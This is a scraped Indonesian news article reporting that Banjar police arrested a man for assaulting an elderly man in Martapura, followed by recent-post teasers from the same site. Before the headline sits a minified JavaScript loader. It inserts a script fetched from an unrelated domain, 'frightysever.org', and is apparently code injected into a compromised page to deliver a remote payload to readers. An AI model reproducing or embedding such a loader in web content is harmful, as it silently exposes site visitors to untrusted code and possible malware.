(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Martapura

Penganiaya Kakek di Kelurahan Jawa Berhasil Dibekuk Polisi di Mataraman


KANALKALIMANTAN.COM, MARTAPURA – Seorang lelaki di Kecamatan Mataraman, Kabupaten Banjar, dibekuk jajaran Resmob Polres Banjar, akibata melakukan penganiayaan pada Senin (8/5/2023) lalu.

Peristiwa terjadi sekira pukul 20.00 Wita di sebuah rumah di Jalan Cempaka, Gang Flamboyan RT 06, Kelurahan Jawa, Kecamatan Martapura, Kabupaten Banjar. Tim Resmob menetapkan Zulkifli (45) sebagai pelaku penganiayaan Rahman, kakek berumur 63 tahun.

Kapolres Banjar AKBP M Ifan Hariyat Taufik melalui Kasi Humas Polres Banjar AKP H Suwarji mengatakan, kejadian ini dilaporkan seorang perempuan bernama Zulfa.

“Kejadian berawal ketika pelapor yakni Zulfa dihubungi melalui handphone oleh keluarga korban bahwa telah terjadi penganiayaan terhadap kakek Rahman,” ujar AKP H Suwarji, Senin (22/5/2023) siang.

Baca juga: Turun di 10 Cabor POPDA 2023, Kontingen Banjarbaru Berkekuatan 184 Orang

Mengetahui kabar itu, Zulfa pun langsung mendatangi rumah kakek Rahman dan mendapati kakek Ramhan sudah terlilit perban akibat luka.

“Luka terdapat di telinga sebelah kiri dan di bagian leher sebelah kiri,” sebutnya.

Melalui keterangan saksi didapati kakek Rahman sempat teriak meminta tolong saat  kejadian penganiayaan itu terjadi.

Saksi yang mendengar suara itu langsung memeriksa keadaan kakak Rahman dan membawanya ke RSUD Ratu Zalecha Martapura untuk mendapatkan perawatan.

“Atas kejadian itu lah pelapor merasa tidak terima dan melaporkannya ke Polres Banjar,” sambungnya.

Baca juga: 9 Pejabat di Pemkab Banjar Ikuti Pelantikan Susulan

Setelah melakukan penyelidikan akhirnya Unit Resmob Polres Banjar, dipimpin oleh Kanit Pidana Umum Polres Banjar Ipda Muh firman beserta petugas Polsek Mataraman berhasil menangkap Zulkifli.

“Pelaku berhasil dibekuk di sebuah rumah yang ada di Desa Tanah Abang, Kecamatan Mataraman, Kabupaten Banjar,” ungkapnya.

Saat ini pelaku sudah berada di tahanan Mapolres Banjar untuk memproses hukumannya. Atas perbuatannya juga pelaku diancam hukuman pidana penjara paling lama lima tahun sesuai dengan Pasal 351 KUHPidana. (Kanalkalimantan.com/wanda).

Reporter: wanda
Editor: cell


Al Ghifari

Recent Posts

Dialog Pekerja Pengusaha di Balai Kota, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru menggelar dialog serikat pengusaha dan serikat pekerja peringatan Hari… Read More

4 jam ago

DPMD HSU Apresiasi Kader Desa Pemenang Lomba Posyandu 2024

KANALKALIMANTAN.COM, AMUNTAI - Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Hulu Sungai Utara (HSU) memberikan… Read More

4 jam ago

Pemondokan Kafilah HSU Dikunjungi Sekda Tapin

KANALKALIMANTAN.COM, RANTAU - Sambutan hangat ditunjukkan Kafilah Hulu Sungai Utara (HSU) saat menerima kedatangan Sekertaris… Read More

5 jam ago

KPU Banjarbaru Terima 96 Pendaftar Calon PPK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima 96 pendaftar calon anggota Panitia… Read More

6 jam ago

Sejarah 1 Mei 1952 : Dari Afdeeling Amoentai Menjadi Kabupaten Hulu Sungai Utara

KANALKALIMANTAN.COM, AMUNTAI - Tepat hari ini Rabu 1 Mei 2024, 72 tahun silam atau tepatnya… Read More

6 jam ago

PLN Gelar Halalbihalal Bersama Anak-anak Panti Asuhan

KANALKALIMANTAN.COM, PONTIANAK - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

This website uses cookies.